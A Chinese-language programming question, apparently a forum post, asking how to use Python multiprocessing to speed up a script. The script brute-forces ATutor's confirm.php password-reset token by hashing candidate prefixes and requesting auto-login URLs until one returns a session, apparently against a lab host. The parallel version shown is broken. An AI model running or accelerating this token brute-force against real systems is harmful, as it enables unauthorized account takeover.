我有一个方法可以遍历大量值并为每个值发送一个requests
调用。这可以正常工作,但是需要很长时间。我想使用multiprocessing
中的python3
来加快速度。
我的问题是使用多处理程序来实现此目的的正确方法是什么,以便我加快这些程序的速度?
现有方法如下:
def change_password(id,prefix_length):
count = 0
# e = None
# m = 0
for word in map(''.join,itertools.product(string.ascii_lowercase,repeat=int(prefix_length))):
# code = f'{word}{id}'
h = hash_string(word)[0:10]
url = f'http://atutor/ATutor/confirm.PHP?id=1&m={h}&member_id=1&auto_login=1'
print(f"Issuing reset request with: {h}")
proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'}
s = requests.Session()
res = s.get(url,proxies=proxies,headers={"Accept": "*/*"})
if res.status_code == 302:
return True,s.cookies,count
else:
count += 1
return False,None,count
我已尝试根据python3文档here中的第一个示例进行转换,但是在启动脚本时它似乎挂起了。毫无疑问,我执行错了
def send_request(word):
# code = f'{word}{id}'
h = hash_string(word)[0:10]
url = f'http://atutor/ATutor/confirm.PHP?id=1&m={h}&member_id=1&auto_login=1'
print(f"Issuing reset request with: {h}")
proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'}
s = requests.Session()
res = s.get(url,headers={"Accept": "*/*"})
if res.status_code == 302:
return True,word
else:
return False
def change_password(id,prefix_length):
count = 0
# e = None
# m = 0
words = map(''.join,repeat=int(prefix_length)))
with Pool(10) as pool:
results,word = pool.map(send_request,words)
if results:
return True,word